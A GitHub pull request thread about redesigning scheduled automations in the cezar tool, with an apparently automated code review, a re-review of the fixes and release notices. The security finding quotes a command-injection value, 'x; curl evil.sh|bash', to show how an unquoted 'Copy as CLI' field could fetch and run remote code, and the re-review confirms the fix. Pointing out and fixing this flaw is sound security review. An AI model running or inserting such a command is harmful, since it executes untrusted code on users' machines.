feat(automations): scheduled triggers, default-on, redesigned surface, creation from a prompt

[pat-lewczuk]

Summary

The automations redesign (spec .ai/specs/2026-09-14-automations-redesign.md, design export under .ai/specs/assets/automations-redesign/): a second trigger kind — a schedule (every day, weekdays, one weekday, every N hours, in the cockpit's own zone) — beside the shipped GitHub poll; automations on by default (CEZ_AUTOMATIONS=0 opts out — a breaking flip of the #801 opt-in, owner-approved 2026-09-14 and recorded in AGENTS.md § Zero config and BACKWARD_COMPATIBILITY.md); the Automations surface rebuilt to the design from named primitives; and the "create an automation from a prompt" patch (spec 2026-09-13-automations-from-prompt.md) landed on top with both kinds.

The spec went through an independent architectural review before any code; four of its findings changed the design (details in the spec's history and .ai/runs/2026-09-14-automations-redesign.md).

What lands

• Contract packages/contract/src/automation-schedule.ts (four bounded shapes, cronOf/parseCron, DST-safe occurrencesBetween/nextOccurrence) and zoned-time.ts (moved out of core/usage-limit.ts, which now shares it); kind, schedule, task.dispatch, new log results, timeZone/stats/per-row tallies on GET /automations, the log's runs map, automationRunResponseSchema, automationTemplatesResponseSchema; the new optional RunRecord.automationTrigger (automation untouched, so a downgrade keeps every run).
• Engine automations/schedule-runner.ts: one receipt per occurrence, the age rule (on time → scheduled; late within a day → ONE catch-up for the latest miss; older → skipped), nextRunAt advanced from max(occurrence, now) so a laptop asleep for days never bursts, auto-pause after three launch failures, a held lease or a duplicate never counted. scheduler.ts arms one timer for both kinds; every registered project gets a handle, github only for a github.com remote. store.setState is read-modify-write so two cockpits converge.
• Routes kind-aware create/update (PUT inherits the kind; a switch is 409), POST /automations/:id/run (a schedule fired by hand, paused or not), kind-aware check/retry, GET /workspace/automation-templates; the default flip with a boot re-baseline of any poll left enabled and idle longer than its lookback, so the flip can never launch a backlog. Inventory updated in BACKWARD_COMPATIBILITY.md.
• Cockpit promoted primitives Chip, Segmented, Kbd, BranchChip, Card flush; the list with this-week stats, row actions and the next-runs rail; Week and Day calendars; the editor with a template palette (built-in + other projects), schedule/GitHub fields, the composer's own run-as pills, the dispatch row, a next-five-runs preview and Copy as CLI; the log with nested dispatch children. The Automations nav item follows capabilities.automations alone — a schedule needs no GitHub remote.
• CLI / prompt cez automation add (flag form; --cron accepts the four shapes, anything else exits 2 pointing at the JSON form) and cez automation run; the schema reference, the always-on prompt part and the built-in skill cover both kinds.
• Docs README, .env.example, AGENTS.md exception, BACKWARD_COMPATIBILITY.md (§1 CLI, §2 routes, new default-on section), run notes.

Verified

• npm run typecheck clean across all four packages; npm test 377 files / 6825 tests; npm run test:unit 35; npm run build + test:package ok.
• e2e (packages/web/e2e/automations.e2e.ts): default-on sidebar and empty state; schedule created from a template → run by hand → provenance on the run → manual row in the log → enabled → block in the week view → listed in the next-runs rail → paused from the row → edit header with the last-run card; GitHub poll created paused → preview → baseline → both logged. Phone sweep at 390×844 for the list and the editor.
• The first live run caught a real defect: the built-in templates named a workflow this repo does not ship. Fixed (templates name none; a template from another project keeps its workflow only when the cockpit lists it).

Design fidelity

Captures at 1440×900 from the e2e run, next to the export's screenshots (design-01…11.jpg in the spec assets):

Screen	Capture
List	.ai/qa/artifacts_e2e/automations-list-paused.png
Next runs rail	automations-next-runs-rail.png
Week / Day	automations-week.png, automations-day.png
Editor: templates, schedule, GitHub, edit	automations-editor-new-templates.png, -new-schedule.png, -new-github.png, -edit.png
Log	automations-log.png

Regenerate with npm run test:e2e.

Not in this PR (deliberately)

New GitHub events (review_requested, release.published), a repo-committed definition format, per-run budgets outside dispatch, a reviewChild field on the dispatch intent, full cron expressions, automations while the server is stopped. Owner decisions Q1–Q10 are in the spec's "Resolved decisions" table.

Review notes

• Breaking, deliberately: capabilities.automations is CEZ_AUTOMATIONS !== '0'. =1 is accepted and changes nothing. The scheduler starts at boot but arms a timer only for an automation the user enabled.
• A definition written before this change has no kind and parses as a poll; nothing on disk is rewritten until the next edit. A pre-redesign cezar ignores kind: 'schedule' definitions as invalid (one warning) and never fires them.
• task.dispatch is stored as given and ignored, never refused, on a cockpit with dispatch off — the same precedent POST /runs sets.
• The editor pre-empts a kind switch on an existing automation (disabled segment with the reason) rather than letting the 409 fire from the cockpit.

🤖 Generated with Claude Code

[CLAassistant]

All committers have signed the CLA.

[pat-lewczuk]

🤖 om-auto-review-pr started by @pat-lewczuk at 2026-09-14T13:44:21Z. Other auto-skills will skip this PR until the lock is released.

[pat-lewczuk]

Note: GitHub does not allow requesting changes on your own pull request via the Review API, so this is posted as a regular comment carrying the full om-code-review verdict and findings — the pipeline labels below reflect the same request-changes decision.

🔍 Code Review: feat(automations): scheduled triggers, default-on, redesigned surface, creation from a prompt

Verdict

❌ request changes — one security blocker (unescaped shell interpolation in "Copy as CLI") and one documentation blocker (no CHANGELOG entry for the acknowledged breaking default-on flip), plus several majors around concurrency-evidence, a bundle-size regression, and a silent round-trip data loss. Core scheduling logic (DST handling, catch-up/skip semantics, the boot re-baseline that prevents a backlog burst on upgrade) is sound and well tested.

🎯 Summary

Adds a second automation trigger kind (cron-like schedules, DST-safe) beside the existing GitHub poll, flips automations to on-by-default (CEZ_AUTOMATIONS=0 opts out), rebuilds the cockpit surface on new shared primitives, and lands "create an automation from a prompt" on top. 133 files, +14.5k/−0.7k. Reviewed in an isolated worktree (review/pr-985) merged onto latest main; one merge conflict in picker-pill.tsx (import lines only) was resolved to keep both this PR's chip-based chevron and main's just-merged search-filter feature — confirmed correct by review.

Findings

⛔ Blocker

• packages/web/src/lib/automation-cli.ts:63-65 — the "Copy as CLI" flag builder passes task.workflow, task.runner, and task.model straight into the printed shell command (`--workflow ${task.workflow}`) while every other user-controlled field on the same object (name, cron, label, author, prompt) goes through shellQuote two lines above. workflow/model are unrestricted free strings both in the wire contract (packages/contract/src/automations.ts:360-362) and in server storage (packages/cezar/src/automations/types.ts:32,35, only length-bounded), reachable from a cross-project template or from the new "automation from a prompt" LLM flow. CopyAsCliCard exists specifically to be pasted into a real shell — a value like x; curl evil.sh|bash executes on paste. Fix: shellQuote(task.workflow), shellQuote(task.runner), shellQuote(task.model), same as the other fields.
• CHANGELOG.md — no entry for this PR's own explicitly-acknowledged breaking change. BACKWARD_COMPATIBILITY.md's general rule (line 5) requires "a deprecation note in the README + CHANGELOG… and a minor version bump called out as breaking" for any 0.x breaking change; the PR description itself calls the default-on flip "Breaking, deliberately." README.md and AGENTS.md were updated; CHANGELOG.md has zero diff (git diff origin/main...HEAD -- CHANGELOG.md). The Implement: CEZ_AUTOMATIONS feature flag — gate GitHub Automations off by default and hide its sidebar item #801 PR that shipped the opposite flip has the ⚠️ precedent entry this one is missing (CHANGELOG.md:89). Fix: add an "Unreleased" ⚠️ entry describing the flip and the boot re-baseline safety net.

⚠️ Major

• packages/web/src/routes.tsx:35,446-449 — AutomationsRoute is imported statically and wired directly into the route table, unlike every other comparably-sized route in this file (TaskThreadRoute, GithubRoute, WorkflowsRoute, SkillsRoute, …), which are explicitly lazy()-wrapped with a rationale comment ("the home screen must not pay for it"). AutomationsRoute pulls in the editor (379 lines), week/day calendars, template palette, and log (~3k non-test lines total), none imported elsewhere. With automations now on by default, every cockpit visitor pays for this bundle whether or not they open /automations, with no measurement or explanation for departing from the established convention (UI Performance Gate). Fix: wrap in lazy() matching the existing pattern.
• packages/cezar/src/automations/store.ts:128-137 (exercised from schedule-runner.ts:67-73,140-146,190-208,210-217) — AutomationStore.setState re-reads the state file from disk before writing, but only to preserve other automation ids; the value written for the id actually being updated is the caller's own possibly-stale in-memory snapshot, not a fresh disk read of that record. Two real cockpit processes racing on the same automation id can have the losing process's write silently revert the winner's post-launch fields (lastRunAt, consecutiveFailures reset) after a successful launch — the PR's own docstring claim that "two cockpits converge" only holds across different ids, not the same one. Doesn't cause duplicate launches (the lease + receipt mechanism still prevents that), but corrupts auto-pause bookkeeping under the exact concurrency this PR calls out as supported, and store.test.ts's new read-modify-write test only exercises two different ids. Fix: change setState to take an updater (current) => next applied to a freshly re-read record for that id.
• packages/web/src/lib/automation-cli.ts:66 — task.autonomous === false emits no --no-autonomous flag (flagExpressible never checks it), so pasting "Copy as CLI" for an automation a user deliberately set to non-autonomous silently recreates it as autonomous (the real CLI at packages/cezar/src/automations/automation-cli.ts:147 defaults autonomous to true unless --no-autonomous is explicit) — a safety-relevant round-trip regression, not just cosmetic. Fix: emit --no-autonomous when autonomous === false, or make flagExpressible fall back to the (correct) JSON form for that case.
• packages/web/src/lib/automation-cli.test.ts / packages/web/e2e/automations.e2e.ts — neither the two bugs above is covered: no unit case with a metacharacter in workflow/runner/model, none with autonomous: false, and the e2e suite never touches the "Copy as CLI" card at all despite it being a headline surface of this PR (spec Q1). Fix: add both unit cases plus at least one e2e/DOM assertion reading the rendered CLI text.
• packages/cezar/src/server/capabilities.test.ts — this PR's diff deletes two entire pre-existing, unrelated test suites (resolveCapabilities — dispatch's exact-'0'-only fuzz coverage, and resolveCapabilities — usage presentation's CEZ_HIDE_TOKEN_METRICS/_USAGE/_COST matrix) rather than extending them alongside the automations rewrite. Neither is duplicated elsewhere at the same depth (health-forge.test.ts and dispatch-api.test.ts each keep only one narrow case). Unrelated scope creep that weakens regression coverage for two orthogonal, cost-widening flags. Fix: restore both deleted describe blocks.
• No test boots the real server with a stale, enabled: true GitHub-poll automation to verify rebaselineIdleAutomations actually runs, in order, before automationScheduler.start() (server.ts boot sequence). The pure function is well unit-tested in isolation (task-template.test.ts:122-147), but its wiring — preventing every existing installation's poll automations from bursting on upgrade, which the PR description calls its own most consequential correctness requirement — has no integration-level test through the actual boot path. Fix: a startServer-level test seeding a stale poll automation, asserting zero launches and one baseline log row.

Minor

• packages/cezar/src/automations/schedule-runner.ts:86-87 — occurrencesBetween is called with the contract's default limit = 1000; after a >~41-day outage on a fine-grained (hours, every: 1) schedule, the ascending-order cap means missed.at(-1) is no longer the true latest missed occurrence, so the catch-up fires a stale instant instead of the newest miss. Low likelihood, worth a defensive bound or backward walk.
• packages/contract/src/automation-schedule.ts schedule.test.ts — DST spring-forward is tested for the daily shape only; the hours shape (the one most likely to land inside the gap) has no spring-forward assertion.
• packages/web/src/routes/automations/editor.tsx:332-379 — KindSegment duplicates Segmented's wrapper/button classes instead of extending SegmentedOption with optional disabled/title.
• packages/web/src/routes/automations/use-automations.ts:113-134 — dead code after return (void data and its explanatory comment are unreachable).
• packages/web/src/routes/automations/automations-table.tsx:119-125,166-174, log.tsx:193 — hand-rolled badge markup duplicates the shared Pill primitive at three call sites.
• packages/contract/src/automation-schedule.ts:72 — scheduleLabel's hours branch always renders every ${n} hours, so {type:'hours', every:1} (reachable from the editor) shows "every 1 hours" in the table/week-view/CLI preview. Untested (only every: 6 is covered).
• packages/web/src/lib/automation-format.ts:49-52 — relativeIn clamps any negative delta to "in 0m", so a several-hours-overdue scheduler reads identically to "about to fire."
• packages/web/src/lib/automation-cli.ts:31 — shellQuote doesn't neutralize !, which can trigger bash history expansion when the copied command is pasted under an interactive shell with history expansion on (same copy/paste threat model as the blocker above, lower exploitability).
• packages/cezar/src/automations/task-template.ts:205-242 — rebaselineIdleAutomations never records that it ran, so a restart before the automation's first real success re-fires it, appending another baseline log row each time (harmless, but unbounded log churn; worth a comment or dedup).
• server.ts:5822-5828 — a project added via the live project-added path (no server restart) skips the boot-only re-baseline, so a stale poll re-registered mid-process resumes from its old cursor. Narrow edge case, not worse than pre-PR behavior.
• packages/web/src/routes/automations/editor-run-as.tsx:34, editor.tsx:188-193 — real fallback logic (keeping a delisted stored workflow selectable; template-workflow-not-in-catalog) has no dedicated test.

Nit

• packages/web/src/routes/automations/editor.tsx:172 — save button disables while saving but the label never reflects in-flight state.
• packages/web/src/routes/automations/automations-table.tsx:98-104 — row is mouse-only for primary navigation (onClick with no tabIndex/keydown); cosmetic since the kebab menu covers keyboard access.
• server.ts:52-63 — automationKindIssue message phrasing reads as a statement rather than a refusal reason.
• automation-format.ts:33-38,88-93 — logTime's 6-day boundary and triggerLabel's defensive fallback are low-risk edge/test gaps.

🧪 Validation Gate

Command	Status	Evidence or limitation
npm run typecheck	✅ PASS	clean across contract/client/server/web
npm test	✅ PASS (verified)	6901/6907 passed in-sandbox; the 6 failures (git-worktree.test.ts, automations-api.test.ts, git-changes.test.ts, git.test.ts, health-forge.test.ts, projects-api.test.ts) all assert "outside a git repo" behavior and fail only because this review sandbox's own TMPDIR resolves inside the open-mercato/cezar checkout (an artifact of this environment, not the PR); re-ran each failing test in isolation with TMPDIR=/tmp/… and all 6 pass. Not a PR defect.
npm run test:unit	✅ PASS	36/36
npm run build	✅ PASS	check:pack ok, 515 files
npm run test:package	✅ PASS	16/16

CI pending: license/cla on this head — not yet signed. Required CI and QA approval still gate merge. A follow-up will report the CI result.

💥 Breaking Changes

• capabilities.automations flips from opt-in (CEZ_AUTOMATIONS=1) to on-by-default (CEZ_AUTOMATIONS !== '0') — deliberate, owner-approved 2026-09-14, correctly documented in BACKWARD_COMPATIBILITY.md and AGENTS.md, and protected by a boot re-baseline that prevents any pre-existing enabled poll from bursting a backlog on upgrade. The one gap is procedural, not behavioral: no CHANGELOG.md entry records the flip (blocker above) — the doc's own compatibility rule requires one for any 0.x breaking change.
• Every other reviewed contract surface (automation-schedule.ts, zoned-time.ts, RunRecord.automationTrigger, the kind-aware routes) is additive-only and matches BACKWARD_COMPATIBILITY.md exactly.

🧪 Test Coverage

Strong overall (DST daily/weekly/weekdays transitions, catch-up/skip/auto-pause boundaries, kind-switch request bodies, capability-flip default/opt-out/no-op, calendar navigation) but with the specific gaps named above: the same-automation-id concurrent-write race, the boot-path wiring of the backlog-prevention re-baseline, the two Copy-as-CLI round-trip bugs, the hours-shape DST spring-forward case, and the deleted capabilities.test.ts coverage for dispatch/usage-presentation flags.

[pat-lewczuk]

🤖 om-auto-review-pr — 🏷️ label rationale

• 🚀 merge-queue — the re-review found every blocker and major fixed and verified (typecheck, full test suite, build, package all green); needs-qa stays on, so the QA-approval gate holds the merge until a QA reviewer adds qa-approved.
• 🧪 needs-qa — kept; the change alters user-facing behavior (a redesigned Automations surface, a new schedule trigger kind, and a default-on flip) that a human should exercise.
• 🔹 priority-medium — kept; ordinary feature work, not an outage/data-loss/security-incident in production (the shell-injection finding was caught and fixed pre-merge, in review).
• ⚠️ risk-high — kept; wide blast radius (auth-adjacent default-flip, shared contract surfaces, concurrent state-file writes, a copy/paste shell-command surface) warrants the deep review and fix cycle this PR just went through.

[pat-lewczuk]

Note: GitHub does not allow requesting changes/approving your own pull request via the Review API, so this is posted as a regular comment carrying the full re-review verdict — the pipeline label below reflects the same decision.

🔍 Re-review: feat(automations): scheduled triggers, default-on, redesigned surface, creation from a prompt

Verdict

✅ approve — every blocker and major from the prior review is fixed and verified (typecheck, full test suite, build, package all green). Only minors/nits remain, listed below for the author to pick up at will.

What changed since the prior review (commit c7399bd6)

⛔ Blockers — both fixed

• ✅ Shell injection in "Copy as CLI" (packages/web/src/lib/automation-cli.ts:63-65) — --workflow/--runner/--model now go through shellQuote like every other field; shellQuote also now escapes ! against bash history expansion. New test: automation-cli.test.ts asserts a workflow/runner/model containing `, ;, $() round-trips safely quoted.
• ✅ Missing CHANGELOG entry for the acknowledged breaking change — added a ## ⚠️ Breaking entry under # Unreleased describing the CEZ_AUTOMATIONS default flip and the boot re-baseline safety net, matching the Implement: CEZ_AUTOMATIONS feature flag — gate GitHub Automations off by default and hide its sidebar item #801 precedent's format.

⚠️ Majors — all six fixed

• ✅ AutomationsRoute not lazy-loaded — converted to lazy() + Suspense, new automations-loading.tsx fallback, matching every other comparably-sized route in routes.tsx.
• ✅ AutomationStore.setState same-id concurrency race — setState now takes an updater function and re-reads the target automation id fresh from disk before merging (previously only did that for other ids). Updated all 9 production call sites (store.ts, scheduler.ts, schedule-runner.ts, task-template.ts) plus every test call site. New regression test in store.test.ts reproduces the exact race (a second process's write now sees the first process's committed fields instead of clobbering them).
• ✅ autonomous: false silently lost on Copy-as-CLI round-trip — now emits --no-autonomous. Test added.
• ✅ Missing test coverage for the two bugs above — both now covered in automation-cli.test.ts; dependent snapshot strings in editor.test.tsx and copy-as-cli-card.test.tsx updated for the new quoted format.
• ✅ capabilities.test.ts had two unrelated test suites deleted — restored resolveCapabilities — dispatch and resolveCapabilities — usage presentation, merged with the automations rewrite. 123/123 pass.
• ✅ No integration test for the boot-time re-baseline — added a new default-on re-baseline (boot path) suite in automations-gate.test.ts that boots the real server via startServer(), seeds a stale enabled poll automation, and asserts the re-baseline actually ran before the scheduler armed (baseline log row, zero receipts, consecutiveFailures: 0) — closes the evidence gap for the PR's own most consequential correctness claim.

Also fixed in passing (touched the same code): the scheduleLabel "every 1 hours" pluralization bug, with a test case.

Minor / Nit — left for the author (do not block approval)

occurrencesBetween limit=1000 edge case after a >41-day outage; missing DST spring-forward test for the hours schedule shape; KindSegment duplicating Segmented; dead code in use-automations.ts; Pill primitive not reused in 3 spots; relativeIn clamping an overdue run to "in 0m"; re-baseline not memoized across repeated restarts before first success; a project re-registered mid-process (no restart) skips re-baseline; PUT's kind-switch 409 checked before the staleness 409; no "saving…" affordance on the editor; automations table row is mouse-only for primary nav (kebab menu covers keyboard); automationKindIssue phrasing; logTime/triggerLabel edge-case gaps. All still listed in the prior review for reference.

🧪 Validation Gate

Command	Status	Evidence
npm run typecheck	✅ PASS	clean across contract/client/server/web
npm test	✅ PASS	6934/6934 (run with a real /tmp TMPDIR; this review sandbox's own TMPDIR resolves inside the checkout, which the prior review's validation table already flagged as environment noise, not a PR defect)
npm run test:unit	✅ PASS	36/36
npm run build	✅ PASS	check:pack ok, 520 files
npm run test:package	✅ PASS	16/16

CI pending: Unit, build, E2E, and package and license/cla on the new head (c7399bd6). Required CI and QA approval still gate merge. A follow-up will report the CI result.

[pat-lewczuk]

🤖 om-auto-review-pr completed: APPROVED. 2 blockers + 6 majors fixed and verified (full validation gate green); minors/nits left for the author. Lock released — swapped to ci-monitoring for the bounded CI follow-up on c7399bd6.

[github-actions]

📦 npm preview published — 0.10.1-pr985.1514

Try this PR build (exact pinned version — copy-paste as-is):

npx cezar-cli@0.10.1-pr985.1514                                # cockpit at http://localhost:4321
npx cezar-cli@0.10.1-pr985.1514 run "…"                        # headless run
npx cezar-cli@0.10.1-pr985.1514 server-deploy --platform <id>  # roll a server to this exact build

Also tagged: npm install -g cezar-cli@pr-985 (moving tag for this PR).
Packages: cezar-cli@0.10.1-pr985.1514 → @open-mercato/cezar@0.10.1-pr985.1514 → @open-mercato/cezar-api-client@0.10.1-pr985.1514 (provenance attested).

[pat-lewczuk]

Two follow-ups from the owner's review, pushed as 6349be31 (rebased onto the review-fixes commit, so nothing was force-pushed):

• Costs hidden for now. The spent figure, the Cost 7d column and the cost cells of the log and the last-run card are behind one flag, AUTOMATION_COST_VISIBLE in packages/web/src/lib/automation-format.ts, currently false. The server still answers costUsd / costUsd7d / stats.costUsd under capabilities.costMetrics; flipping the flag restores every figure.
• Day view shows the GitHub polls. The enabled polls render as the same band the Week view has, above the hour grid, and as poll · continuous rows at the top of the agenda; the header count reads N scheduled runs · M GitHub polls.

🤖 Generated with Claude Code